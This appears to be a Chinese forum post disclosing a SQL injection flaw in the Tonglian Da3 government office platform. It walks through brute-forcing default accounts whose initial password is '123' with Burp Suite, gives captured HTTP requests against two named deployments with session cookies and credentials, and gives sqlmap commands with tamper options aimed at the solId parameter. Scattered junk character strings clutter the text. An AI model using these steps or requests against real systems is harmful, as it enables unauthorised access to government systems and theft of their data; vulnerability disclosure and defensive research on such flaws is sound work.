同联Da3协同办公平台前台通用sql injection漏洞

admin

) r0 d1 T% c8 s3 \ 平台简介： ) S M: f% H1 K( A, G& m% O/ y

8 q* b% l- Y: }! _( T. D0 ? x

  , B; O2 b7 x1 e0 d6 t+ G/ u

! Z" C9 h) h; H& [

8 G5 {( e( j4 j8 d# e, x 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
: R. d. M: C8 Z" z# g9 E, i同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
: n+ l) B% x9 o; L4 b同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

0 U% ?; J' u% A% k, y& X% E5 R2 R

/ k) i: P$ ?! U5 [   3 ^" n/ J" j" ~' i* u$ Q- o! L

. ~4 J, j; d, o# J, Q 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

, l2 u! e4 V+ W2 g8 d3 v

! C# R! p6 N) q2 s g- A- w' p  

6 {$ ] a7 ~6 K http://1.1.1.1:7197/cap-aco/#（案例2-）

3 G+ O- X8 F+ l2 F- @: E9 i http://www.XXOO.com （案例1-官网网站） % p2 _: J: t/ T& @

( w9 A$ F h- p; g; Z) W! u

4 n( a4 p; x. @  

漏洞详情:

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 f9 H- d! O' O0 i F5 P# R

5 `; d" t: z& z( M0 j, a1 O

2 a, Y8 N& W! H      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 2 w4 U ]: W; b. l' v. d" l

3 g w H8 O# @8 N3 y" t" |7 {1 `

  % P0 S0 R* }4 ~+ q

2 P) z& m0 Z4 ]5 E( F6 [6 |

 

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： . g. `9 M/ u) X+ F1 s3 |# w. x0 A

) J7 `+ {" f( U7 ~ 1、案例1-官方网站 - |6 w: B0 c; z- P

$ R/ l; [# {* K% [ GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

Host: www.XXOO.com

7 m- f1 i; X# j- Q

7 L* b: w7 w, A& b6 H/ ] Proxy-Connection: Keep-Alive ! x% F: j) i7 C/ H# o3 Y2 i/ |0 Z& }

0 p P/ _& z- k

Accept: application/json, text/javascript, */*; q=0.01 ' C- {3 _7 S+ ?/ a# l8 P

Accept-Language: zh-CN 6 K( t2 K1 \7 k

) N( P4 L& U$ Z: [% |. J

: {- Y. A" z: z1 H) X. G9 N Content-Type: application/json

4 U/ |; M0 }$ |! N2 C9 g _ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

4 c* A8 g5 x; S. C* N! o6 y& e0 d

X-Requested-With: XMLHttpRequest

+ V" _% c5 U8 b8 X# _* q

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

Accept-Encoding: gzip, deflate, sdch & l. `9 n; D* S# ?

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

0 `( ?* J$ \5 |8 {! z% F

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: + z% ]9 {, X/ O/ P$ w: {

  * h: z L+ ^8 M/ r0 ]

. b2 \5 ^' ~& C/ y

$ z! c. i; H- s C   5 F" S; I" b5 S, b- N1 p) N

5 j; e4 G! U- {

 

  5 q y9 T- q) x2 @

& y# n/ r7 H) n J8 S

, ? C( ~1 o; V, H5 A! l) W  

0 `' @6 r. o$ Q# |; u2 d3 _" d

8 r8 L2 P9 v1 Z1 { 2、案例2-某天河云平台 * Q7 X* `( @6 O

# _; G, C5 M$ Z7 N. Z, q: ~1 x

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

Host: 1.1.1.:7197

$ |, q& T8 Z/ N3 | Y

Accept: application/json, text/javascript, */*; q=0.01 5 K5 I( G$ P- P: g

! \+ e" E; `- [' a+ b" M

X-Requested-With: XMLHttpRequest 9 \/ {+ Q/ @" D; [5 ~# ~* J- {

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

( S# U- b m L- ? B5 G

Content-Type: application/json 6 t6 a' O/ e/ a: K

& Z! K8 A# F) `$ }' X! C8 g Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

2 J# M. q' ~9 z) J3 w

Accept-Language: zh-CN,zh;q=0.8

) X6 F& P/ t& n8 q' \% f

( _* A/ X0 @0 @* @) M' C Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

/ e7 w/ m, l' k, M" B& C5 p0 S+ }

Connection: close

3 W, X# C, E3 V" R$ n6 _. ~2 x

, c8 N/ }4 {+ h, {7 G, N+ ~4 A: Z 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

; b! u( [0 B% ?* O' p

, e X+ y1 B9 R* `8 o* t& h" a  

" \$ L, P3 R6 R
$ L# d* F$ W B2 {" t Y